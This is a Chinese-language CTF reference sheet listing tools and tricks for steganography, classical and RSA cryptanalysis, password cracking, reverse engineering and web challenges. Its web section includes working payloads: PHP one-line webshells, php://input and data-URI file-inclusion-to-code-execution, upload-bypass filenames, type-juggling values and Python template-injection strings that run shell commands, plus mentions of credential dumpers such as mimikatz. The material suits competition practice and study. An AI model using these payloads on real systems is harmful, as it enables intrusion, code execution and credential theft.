CTF
Web漏洞与渗透(Web)
操作系统和网站应用服务器安全,
网站多种语言源代码阅读分析(特别是php和java),
数据库管理和SQL语句查询,
Web漏洞挖掘和利用(SQL注入和XSS等),
各种服务器提权,
编写补丁并修复网站漏洞。软件逆向 (Reverse Engineering)
Windows / Linux / Android 在 x86 / x86_64 / ARM平台多种编程语言的熟练掌握,
对源代码及二进制文件的分析和理解,
对多种反编译乃至反汇编逆向工具和脱壳,调试技巧的熟练掌握,
Android移动应用APK文件的逆向分析,
掌握加解密,内核编程,算法,反调试和代码混淆技术。漏洞挖掘和利用 (Exploit)
Windows / Linux 在 x86 / x86_64 平台的二进制程序漏洞挖掘
掌握C / C++ / Python / PHP / Java / Ruby / 汇编 等语言,
掌握缓冲区溢出和格式化字符串攻击,
编写shellcode进行利用。密码学原理及应用 (Crypto)
掌握古典密码学和现代密码学,
分析密码算法和协议,
计算密钥和进行加解密操作。安全杂项 (Misc)
信息搜集能力,
编程能力考察,
移动(Mobile)应用安全,
隐写术和信息隐藏,
计算机取证 (Forensics) 技术和文件恢复,
网络基础以及对网络流量的分析能力。
杂项
ctf-katanactf武器库
常用
RouterPassView路由器密码查看器
二维码扫描器(http://jiema.wwei.cn/)(https://www.bejson.com/convert/qrcode/)(`QR_Research`),二维码修复参考`https://blog.csdn.net/zsj2102/article/details/75541856`(搜索 QRCode)
条形码扫描器aircrack-ng:aircrack-ng wifi.cap -w wordlist.txtwifi-跑包,流量分析airdecap-ng解密cap报文airdecap-ng.exe shipin.cap -e 0719 -p 88888888
RGB转图片代码
CRC32碰撞代码,(https://github.com/theonlypwner/crc32)010editor16进制编辑器winrar压缩解压工具
md5碰撞Goodbye World :-(,Hello World ;-)(https://www.cnblogs.com/alexyuyu/articles/3508110.html)Advanced Archive Password Recovery-ARCHPRzip及rar密码爆破;fcrackzip-linuxzip爆破(fcrackzip -b -c 1 -u -v -l 1-5 00000000.zip);RAR Password Unlocker及RAR Password Crackerrar爆破;Ziperello恢复zip压缩文件密码的工具;Zip Repairzip修复工具
base64转图片R-studio``Diskgenius(文件恢复,img挂载)
百度文字识别Beyond Compare``UltraCompare文件对比工具file查看文件描述,strings查看字符串,import filetype;print(filetype.guess('l.zip'))使用python猜测文件类型;windows:trid
php代码在线运行ping用的协议是icmp合并文件(copy /B x* xx.png或type x* >>xx.png)
文章-解析FAT16文件系统XOR AssistantXOR计算器,可选择文件Access MDB 数据库密码查看器HashTabwin文件属性添加文件md5、sha1、CRC32,也可进行文件对比/proc/self/environ读取环境变量mathematica数论工具Potplayer万能视频播放器
python-z3py微软出品的开源约束求解器(http://www.freebuf.com/articles/database/170814.html)hash_extender或HashPumpMD5长度扩展攻击
cap包在线修复advanced office password recoverydoc密码暴力破解
蜜罐系统-kippo,dionaea
科来网络分析工具volatility内存取证Elcomsoft Forensic Disk Decryptor(EFDD解密工具)可实时解密BitLocker、PGP以及TrueCrypt加密磁盘c语言编译:gcc test.c -o testdd if=1 bs=1 of=1.1 skip=364输入文件名1,输出文件名1.1,每次1字节,跳过前364字节md5sum filename计算文件的md5
ex3||ex4文件恢复ffmpeg -i Marcode.mp4 -r 25 -f image2 frames/frame-%04d.png提取视频每一帧为图片
evilarc创建包含递归文件的zip,或使用指令zip ../admin/key.txt
Wireshark
- http.request.method == POST and http contains “admin”
- ip.src eq 192.168.1.107 or ip.dst eq 192.168.1.107 and ip.addr == 192.168.1.107
- tcp.port == 80 and udp.dstport == 80 or tcp.srcport <= 10000
- tcp|udp|arp|icmp|http|smtp|ftp|dns|msnms|ip|ssl|not oicq|!bootp
- eth.dst == A0:00:00:04:C5:84 and eth.src eq A0:00:00:04:C5:84 or eth.addr eq A0:00:00:04:C5:84
- http.request.method == “GET” or http.request.method == “POST”
- http.request.uri == “/img/logo-edu.gif” or http.request.uri contains “/img/logo-edu.gif” or http contains “GET”
隐写术
binwalk分析二进制文件,binwalk -e分离文件winhex查看文件二进制(加载vmdk-专业工具>将镜像文件转换为磁盘)JPEG文件头FFD8FFE0 00104A46,JPEG文件结尾为FFD9,rar的文件尾C43D7B00 400700,文件头52617221 1A0700即Rar!,ZIP文件头504B0304 0A00即PK,GIF开头47494638 3961即GIF,PNG文件头89504E47 0D0A1A0A 0000000D 49即|PNG,PNG文件结尾49454E44 AE426082即IENDbmp文件头424D即BM(https://blog.csdn.net/beiya123/article/details/70170616)
各类文件头信息(https://tool.lu/magicbytes/)Audacity音频分析软件
ZIP伪加密(50 4B 01 02 3F 00 14 00 00 00),ZipCenOp.jar-java -jar ZipCenOp.jar r xxx.zip检测伪加密
steganography图片隐写术加密foremost 分离文件,有bugsteghide隐藏文件 (steghide info 查看隐写信息;steghide extract -sf 隐藏文件 [-xf 输出文件 -p 密码])
steghide字典爆破python steg_brute.py -b -d password.lst -f rabbithole.jpgStegolve图片通道信息,合并,逐帧查看
png修改图片高度gnuplot可根据坐标绘图gifsplittergif分离工具,好压看图王gif分离为jpg,convert favicon.gif output.pnglinux中将gif转为pngstegdetect可以检测jpg通过JSteg、JPHide、OutGuess、Invisible Secrets、F5、appendX和Camouflage等这些隐写工具隐藏的信息.(http://old-releases.ubuntu.com/ubuntu/pool/universe/s/stegdetect/?C=M;O=A)
(stegdetect 1.jpg -s 1000 -s 参数修改敏感度)
-q 仅显示可能包含隐藏内容的图像。
-n 启用检查JPEG文件头功能,以降低误报率。如果启用,所有带有批注区域的文件将被视为没有被嵌入信息。如果JPEG文件的JFIF标识符中的版本号不是1.1,则禁用OutGuess检测。
-s 修改检测算法的敏感度,该值的默认值为1。检测结果的匹配度与检测算法的敏感度成正比,算法敏感度的值越大,检测出的可疑文件包含敏感信息的可能性越大。
-d 打印带行号的调试信息。
-t 设置要检测哪些隐写工具(默认检测jopi),可设置的选项如下:
j 检测图像中的信息是否是用jsteg嵌入的。
o 检测图像中的信息是否是用outguess嵌入的。
p 检测图像中的信息是否是用jphide嵌入的。
i 检测图像中的信息是否是用invisible secrets嵌入的。
-V 显示软件版本号。
- OutGuess-old(
security/outguess/outguess -r 1.jpg 1.txt) - F5隐写(
cd C:\\software\F5-steganography;java Extract 123456.jpg -p 123456)(可能不用密码) JPHide(Jphswin.exe)(http://io.acad.athabascau.ca/~grizzlie/Comp607/programs.htm)- JSteg(
jsteg-windows-amd64.exe reveal *.jpg) - jstego
如果检测结果显示该文件可能包含隐藏信息,那么Stegdetect会在检测结果后面使用1~3颗星来标识
隐藏信息存在的可能性大小,3颗星表示隐藏信息存在的可能性最大。Mp3隐写(MP3Stego)(C:\software\MP3Stego;Decode.exe -X apple.mp3 -P 9158753624)Doc隐写(打印-选项-显示隐藏文字)(字体-隐藏)
Image Steganography下载(勾选decode和decrypt)
GIF在线分解(Stegolve)png分析工具(tweakpng-windows)(pngcheck-linux)pngcheck -v t.png
电话音在线识别 - 双音多频DTMF
wbStego-LSB最低有效位(Least Significant Bit)-wbStego4.3open.exe-bmp、exe、pdf、xml、asccompare start.png to.png out.png比较文件ntfsstreamseditorNTFS分区数据流检测工具
png-LSB隐写,python lsb.py extract X-man-Keyword.png 1.txt lovekfc(需要密码如lovekfc)bmp高度隐写(https://blog.csdn.net/xuchen16/article/details/80855327)-2,bmp高度正为倒向位图 高度为负为正向位图png/bmp lsb隐写zsteg,zsteg nvshen.jpg(无结果可尝试加上参数-a)
DeEgger EmbedderAVI, JPG, PNG, MP3等隐写工具(文件会明显增大,无法使用密码)
盲水印要有原图python bwm.py decode hui.png hui_with_wm.png wm_from_hui.png
盲水印2python decode.py --original <original image file> --image <image file> --result <result file>
SilentEye隐写到图片或音视频
BMP位移OFFSET
CTF比赛中关于zip的总结
stepicpython-png隐写工具,stepic -d -i pow.png > pow.jpgpng转jpgPicture Doctor图片修复工具;pixrecovery图片修复工具(暂无破解版,https://online.officerecovery.com/pixrecovery/)(https://online.officerecovery.com/cn/fix-damaged-photo-file-online/)
Comfy File Repair文件修复工具
PCRT:一款自动化检测修复PNG损坏的取证工具
pyc字节码隐写python3 stegosaurus.py -x QAQ.pycpdfcrackpdf密码爆破
加密
文章/工具
网站合集-一些在线解密网站
文章-CTF中那些脑洞大开的编码和加密
文章-CTF中编码与加解密总结
常用于密码学中的算法
padding-oracle和cbc翻转攻击
python random预测
工具合集-CTFtools大量工具合集
编码/加密/Json/给中转换/二维码/文字识别等大量工具
编译/前端
CTF常用在线工具总结
SHA/MD5/Hmac/url/aes/des/rabbit/RC4/tripledes/base64
开发/站长/极客/其他/HR工具
kt.gy各种编码转换工具
ctf在线工具合集-加密、编码
converter
xssee编码这换
Braintools/bftoolsbftools.exe decode braincopter(或者brainloller) doge.png --output out.png && bftools.exe run out.png
CyberChef(英国情报机构政府通信总部(GCHQ)官方离线解密解码html工具)
bugku在线工具箱
站长/加密解密/前端js解密
crx-XSS Encode(前端各种编码/解码)CTFCrackTools(凯撒/维吉尼亚/倒序/猪圈/栅栏/字符转16进制/base64/32/摩斯/培根/url/unicode,可加载自定义Python脚本)西西万能编码转换器(URL/UTF8/ASCII/MD5/字符转16进制/base6/域名转IP/简繁体/BIG5)系统自带计算器(进制转换/科学计算/日期计算/货币体积重量等各种转换器)hydra各种系统服务暴力破解hashcat各种密码离线暴力破解JPocketKnife(进制转换,bin-ascii)飘云阁密码学综合工具小葵多功能转换工具(url/sql/hex/ascii/base64/md5)pwgen创建随机密码xeger根据正则表达式反向随机生成满足表达式格式的字符串Cupp社工密码字典生成工具Cewl通过爬取网站的时候,根据爬取内容的关键字生成一份字典
常见加密
摩斯密码
栅栏密码,(CTFCrackTools-FenceCode)
凯撒密码,(http://www.zjslove.com/3.decode/kaisa/index.html)
维吉尼亚密码Vigenère cipher,(https://www.guballa.de/vigenere-solver)
当铺密码/倒序密码-[凯撒密码、维吉尼亚、当铺密码、倒序密码]
电脑键盘/手机键盘加密brainfuck(http://esoteric.sange.fi/brainfuck/impl/interp/i.html)(http://copy.sh/brainfuck/)(https://www.splitbrain.org/services/ook)(https://www.nayuki.io/page/brainfuck-interpreter-javascript)(又被称为brainf**k或者BF,brainfuck语言用`<>+-.,[]八种符号来替换C语言的各种语法和命令。Ook!语言与brainfuck类似。或使用.!?三种符号。)猪圈密码-(CTFCrackTools-Pigcode)(http://ctf.ssleye.com/pigpen.html)
[Rabbit加密](https://www.sojson.com/encrypt_rabbit.html)z85(Js库)
[培根密码(1)加解密](http://tool.bugku.com/peigen/)(https://netair.xyz/tools/培根密码加密解密.html)培根密码(CTFCrackTools-不同与在线) --仅字母A和B;培根密码(2)A-M=>a,N-Z=>b(https://baike.baidu.com/item/培根密码/2134182?fr=aladdin)
[AES/DES/RC4/Rabbit/TripleDes加密/解密](https://www.sojson.com/encrypt.html)(http://tool.chacuo.net/cryptaes)(http://aes.online-domain-tools.com/)(http://encode.chahuo.com/)(http://e-file.arkoo.com/tools/des3.htm)(http://tool.oschina.net/encrypt)(http://tools.jb51.net/password/des_encode)(http://tool.chinaz.com/Tools/textencrypt.aspx)(http://www.seacha.com/tools/aes.html?src=U2FsdGVkX182eA%2F8U%2F2KZS481hY9lDS37kNjZ1UZtCckgQoGA7lo%2FDtcv78qFew6LuMTMoP2mEapD0YIBh2Waw%3D%3D&mode=CBC&keylen=128&key=iFurySt&iv=&bpkcs=&session=nwsdOeV7LRvXDMbQF7lq&aes=ff97b7ab6427f742649ba3eddf05386b&encoding=base64&type=1)(http://tool.sufeinet.com/Encrypt/DesEncrypt.aspx)(http://www.kjson.com/encrypt/des/)Python代码(https://www.cnblogs.com/huangjianting/p/8666446.html)aeskeyfind-linux寻找文件中的AES密码
[与佛论禅](http://www.keyfc.net/bbs/tools/tudoucode.aspx)与佛论禅 --中文乱码
[MD5解密](http://www.cmd5.com/)(https://somd5.com/)(https://www.md5online.org/)(http://www.chamd5.org/)(http://hashcrack.com/index.php)(http://www.xmd5.org/)(http://pmd5.com/)(http://www.wmd5.com/)[本地md5解密](http://www.atool.org/md5-crack.php)(hashcat)
[Unicode/UTF8编码转换](http://tool.chinaz.com/tools/unicode.aspx)
[字符转16进制](https://www.bejson.com/convert/ox2str/)托马斯杰弗逊转轮加密(https://blog.csdn.net/pdsu161530247/article/details/73604729)ADFGVX加密(http://hebin.me/2017/09/08/%e8%a5%bf%e6%99%aectf-%e7%b4%a7%e6%80%a5%e6%8a%a5%e6%96%87/)XOR Assistant异或计算
AES加密候选算法Rijndael、Serpent、Twofish、MARS和RC6[AES/DES/RC4/serpent加密](http://serpent.online-domain-tools.com/)
[精灵语](https://www.sohu.com/a/163576192_556712)(沙拉堤文字(Sarati)、腾格瓦文字(Tengwar)、色斯文(Cirth))列置换-将密文分为N列`Playfair(是一种使用一个关键词方格来加密字符对的加密法)案例
盲文字母对照表
希尔密码(https://planetcalc.com/3327/)(注意对照表可能不同,在线解密不一定对,[案例](https://blog.csdn.net/dongyanwen6036/article/details/76358824))
矩阵求逆
分解质因数(http://factordb.com/)`msieve`,`yafu-x64.exe;factor(n)`
彩虹表下载,指令rcracki_mt.exe -h 9e94258a03356914 D:\Downloads\rainbow
ASP/VBScript/JScript.Encode 在线解密(http://adophper.com/encode.html)
Base64/Base32/Base16WinDecrypto(http://www.softpedia.com/get/Others/Home-Education/Decrypto.shtml#download)(不能安装直接解压)[quipqiup词频分析](https://quipqiup.com/)hashcat(https://blog.werner.wiki/use-hashcat-crack-all-kinds-of-hash/)(https://blog.werner.wiki/hashcat-attack-modes/)(https://hashcat.net/wiki/doku.php?id=hashcat)各种离线hash破解hydra(https://blog.werner.wiki/online-brute-force-tool-Hydra/)在线服务破解
Ophcrackwin密码破解-彩虹表
mimikatz获取Win7明文登录密码
mimipenguin从内存中获取linux明文登录密码-需root
QuarksPwDump抓取Windows HASH
标准银河字母埃特巴什码是一种以字母倒序排列作为特殊密钥的替换加密,即将ABCDEFGHIJKLMNOPQRSTUVWXYZ替换成ZYXWVUTSRQPONMLKJIHGFEDCBAMaya 数字(https://baike.baidu.com/item/玛雅数字/1931332)
jsfuck使用()+[]!等六个字符编码js代码,jother使用()[]{}!+8个字符编码js代码
Bubble Babble EncodingPineapple->xigak-nyryk-humil-bosek-sonaxQuoted-Printable编码(http://www.mxcz.net/tools/quotedprintable.aspx)样式`=E4=B8=89=E5=B8`
jjencode/aaencode-js,rrencode-Ruby,ppencode-Perl使用符号/颜文字编码,jjencode(http://utf-8.jp/public/jjencode.html),[aaencode](http://utf-8.jp/public/aaencode.html)xxencode``uuencode(http://web.chacuo.net/charsetxxencode/)
CTF比赛中关于javascript的总结
字母频率
| A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 8.19 | 1.47 | 3.83 | 3.91 | 12.25 | 2.26 | 1.71 | 4.57 | 7.10 | 0.14 | 0.41 | 3.77 | 3.34 | 7.06 | 7.26 | 2.89 | 0.09 | 6.85 | 6.36 | 9.41 | 2.58 | 1.09 | 1.59 | 0.21 | 1.58 | 0.08 |
| E | T | A | O | I | N | R | S | H | D | C | L | M | P | U | F | G | W | Y | B | V | K | X | J | Q | Z |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 12.25 | 9.41 | 8.19 | 7.26 | 7.10 | 7.06 | 6.85 | 6.36 | 4.57 | 3.91 | 3.83 | 3.77 | 3.34 | 2.89 | 2.58 | 2.26 | 1.71 | 1.59 | 1.58 | 1.47 | 1.09 | 0.41 | 0.21 | 0.14 | 0.09 | 0.08 |
技巧
PHP-srand生成php随机数种子,不同版本不通用- ZIP明文攻击:拥有压缩包中的一个文件,将其压缩后使用ARCHPR明文攻击
U2FsdAES加密特征
RSA
- CTF中常见的RSA相关问题总结
- CTF中RSA的常见攻击方法
- 文章-RSA算法原理
- RSA 算法详解
- 浅析RSA Padding Attack
- n=pq,p/q均为质数;`phi = (p-1) (q-1)
,e/phi互质,即gcd(phi,e)==1,且1<e<phi;加密c = (m ^ e) % n,解密m = (c ^ d) % n`,其中m为明文,c为密文,(n,e)为公钥对,d为私钥,要求 0 <= m < n 。 - 直接分解N
- 一般n的长度小于等于512bit,可直接在线分解质因数
- 利用公约数:如果在两次公钥的加密过程中使用的$n_1$ 和$n_2$具有相同的素因子,那么可以利用欧几里得算法直接将$n_1$和$n_2$分解。
- 在p,q的取值差异过大,或者p,q的取值过于相近的时候,Format方法与Pollard rho方法都可以很快将n分解成功.yahu
yafu-x64.exe;factor(n);yafu gcd(@) -batchfile c:\Users\zengjia\Desktop\test.txt(n过长时使用,最后需要换行,使用后文件消失) - n和c可能存在公约数
yafu-x64.exe;gcd(n,c) - msieve
C:\software\msieve153\msieve153.exe n -q(0开头代表8进制,0x开头代表16进制,否则为10进制,-q不记录日志中而是输出到屏幕上)
低加密指数攻击- e=3时的小明文攻击:当e=3时,如果明文过小,导致明文的三次方仍然小于n,那么通过直接对密文三次开方,即可得到明文。
低加密指数广播攻击:如果选取的加密指数较低,并且使用了相同的加密指数给一个接受者的群发送相同的信息,那么可以进行广播攻击得到明文。- Coppersmith定理攻击:Coppersmith定理指出在一个e阶的mod n多项式f(x)中,如果有一个根小于$ n^frac{1}{e} $,就可以运用一个O(log n)的算法求出这些根。
低解密指数攻击:e过大或过小,可使用rsa-wiener-attack解出私钥- 共模攻击:如果在RSA的使用中使用了相同的模n对相同的明文m进行了加密,那么就可以在不分解n的情况下还原出明文m的值。
- 其他(http://hebin.me/2017/09/07/西普ctf-rsangasis-ctf-2013/)
- openssl分析公钥得到(n,e)
openssl rsa -pubin -text -modulus -in public.pem,(http://tool.chacuo.net/cryptrsakeyparse) - openssl使用密钥进行解密
openssl rsautl -decrypt -in flag.enc -inkey private.pem Rabin加密中的N可被分解(n==2)- RSA 私钥恢复和最优非对称加密填充
LSB Oracle Attack(可以选择密文并泄露最低位)选择密文攻击(可以构造任意密文并获得对应明文)- RSA Timing Attack-计时攻击(根据耗时判断)是边信道攻击(或称”侧信道攻击”, Side Channel Attack, 简称SCA)的一种
- RSA约束条件:
1<e|d<phi;p,q为互不相等的质数;gcd(e , phi) == 1;0 <= m < n;(e * d)% n ==1;;;``;
数论
|
|
Web
常用
.git目录泄漏,可利用http://wutongyu.info/about-git-config-file-exp/下载网站所有文件,也可以用https://github.com/lijiejie/GitHack(python GitHack.py http://***//.git).DS_Store文件泄漏http://www.am0s.com/.DS_Store,ds_store_exppython ds_store_exp.py http://101.71.29.5:10000/.DS_Store
网站备份压缩文件.txt,.bak,.xxx.swp,.html,.rar,.zip,.7z,.tar.gz,xxx~
默认/测试文件phpinfo.php,test.php,phpMyAdmin,404.html
配置文件config.php,web.config,conn.asp,db.php/asp,jdbc.properties,sysconfig.properties,JBOSS_HOME\docs\examples\jca\XXXX-ds.xml
SVN导致文件泄露http://www.am0s.com/admin/scripts/fckeditor.266/editor/.svn/entries,漏洞利用工具:dvcs-ripper,rip-svn.pl -v -u http://www.am0s.com/.svn/
WEB-INF/web.xml泄露
- /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
- /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
- /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
- /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
- /WEB-INF/database.properties:数据库配置文件
CVS泄漏:返回根信息http://www.am0s.com/CVS/Root,返回所有文件的结构http://www.am0s.com/CVS/Entries,下载bk clone http://www.am0s.com/name dir
apache配置文件泄漏.htaccess,httpd.conf
有关Python序列化和存在的反序列化缺陷思考修改IP:X-Forwarded-For: 127.0.0.1
上传漏洞
0x00截断或%00
后缀名绕过(大小写,不常见后缀如php2, php3, php4, php5, phps, pht, phtm, phtml)
Content-Type:类型、大小写
HTTP参数污染(HPP)
PHP
详解php比较操作符的安全问题
CTF中常见PHP特性学习笔记
CTF中常见的PHP知识点
strip_tags剥去字符串中的 HTML、XML 以及 PHP 的标签.
本地包含:file://,php://协议.show_source函数.GLOBALS超全局数组,可以打印出所有变量.php://input:读取post数据。例-文件包含漏洞转变成代码执行的漏洞:源码<?php @include($_GET["file"])?>,payload:urlhttp://*.*/fileinclude.php?file=php://input,post<?php system('whoami');?>data URI schema:file=data:text/plain,<?php system('cat /var/www/FileInclude.php')?>,base64编码data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL3Zhci93d3cvRmlsZUluY2x1ZGUucGhwJyk/Pg==php://filter/read=convert.base64-encode/resource=[文件路径]:以base64编码的方式读取指定文件的内容.
php://input,php://filter,data URI schema的那些事,可以修改为read=string.rot13或尝试zip,mcrypt绕过限制
md5值相等,但是值不相等:240610708和QNKCDZO和!1793422703!和aabg7XSs和aabC9RqS.或利用md5无法处理数组username[]=1&password[]=2,sha同.
!$_GET[‘id’]并且id==0:令id=%00或者令id=.都可以绕过
strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4:可以利用%00截断,令b=%0012345 绕过。serialize和unserialize:序列化和反序列化,参考print_r(scandir("./"))或print_r(glob("*")):当前目录文件列表assert和eval均会将字符串当PHP 代码执行,不过eval($assertion)只是执行符合php编码规范的$code_str。strcmp用于比较两个字符串是否相等,相等则返回0.当比较任意数组与字符串时也返回0,可构造参数?v3[]=绕过
一句话木马<?php @eval($_POST["cmd"])?>,<?php @system($_POST["cmd"])?>,<?=eval($_POST['cmd']);>,www.bugku.com/tools/phpyijuhua.txt<script language=php>system("ls")</script>列当前目录
上传绕过1.php;.jpg,1.php%00.jpg;1.php.phpsession.upload_progress.enabled这个参数在php.ini默认开启,如果不是Off,就会在上传的过程中生成上传进度文件,参考writeup(https://xz.aliyun.com/t/2148)(http://bendawang.site/2018/03/13/N1CTF-2018-Web-writeup/)[Session 上传进度文档](http://php.net/manual/zh/session.upload-progress.php)xdebugPHP的调试工具可getshell,参数remote_connect_back,参考同上,Xdebug: A Tiny Attack Surfaceis_numeric判断是否是数字,可以用%00绕过intval是有最大取值范围的,超过了会还原最大值。32位系统是2^31+1即2147483647
字符串与bool类型的true相等,字符串a和int类型0相等md5和0比较,只需要找到md5值为0exxx(xxx全为数字,共30位的),如s878926199aint和intval在转换数字都是向下的,如0.99会被转为0,1.1会被转为1
数字大小及长度限制时可用科学计数法绕过(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)可使用9e7
变量覆盖id=a[0]=240610708
读取文件file("flag.php"),echo cat flag.php;,file_get_contents('flag.php'),show_source('flag.php')
md5相等if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])):
``Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2,16进制4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2,16进制4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
php 不用字母,数字和下划线写 shell
CTF题目思考–极限利用,shell /???/??? /bin/cat$_GET自动替换.或+为_
数组与整数比较时,数组永远更大
php伪协议
python
Python沙箱逃逸payload总结
读文件:{{().__class__.__bases__[0].__subclasses__()[40]('flag').read()}}
命令执行1:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}
命令执行2:{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat flag*").read()')}}
waf绕过:{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
python沙箱环境过滤._及关键字
python模版注入过滤config/self/圆括号
python3沙箱逃逸
工具
- wappalyzer网站架构识别插件,通过该插件能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数.
canvas截图项目地址:https://github.com/Lz1y/frame2canvas- 中国菜刀
- 中国蚁剑
- K8一句话密码爆破工具{秒破10万}
- phpMyAdmin多线程批量破解工具
- (XXEinjector – XXE自动化测试工具](https://blog.csdn.net/qq_27446553/article/details/50679145)
- fuzz字典:hi0x0.com 的FUZZ军火库,fuzzdb
- c-jwt-cracker爆破JWT的secret key
其他
swp或bak或.DS_Store备份文件- SSRF-服务器端请求伪造
- SSTI-服务端模板注入(https://www.cnblogs.com/tyomcat/p/5440488.html),过滤可用`cookies`或`args`绕过
- 关闭chrome的xss过滤器
--args --disable-xss-auditor - LDAP注入,格式
http://54.152.220.222/word.php?page=b*
逆向
工具
ida逆向分析工具-静态分析;PEiD壳分析工具;Winhex二进制查看修改;Ollydbg逆向分析工具-动态调试;Android Killer安卓反编译;Roeder’s .NET Reflector.NET Framework反编译
拿到题第一步先分析是否加壳
pyc反编译,EasyPythonDecompiler,(http://tools.bugscaner.com/decompyle/)(https://github.com/rocky/python-uncompyle6)JD-GUIJava反编译工具ILSpy 是一个开源的.NET反编译工具Action Script ViewerSWF(Flash)反编译软件W32Dasm静态反汇编工具angr:约束求解器Cheat Engine内存修改编辑工具
文章
技巧
- 拿到题第一步先分析是否加壳
PEiD 00401000程序起始地址
安卓
工具:apktool,dextojar,jd-gui,jeb,android killer,apk在线反编译
溢出
技巧
checksec查看防御措施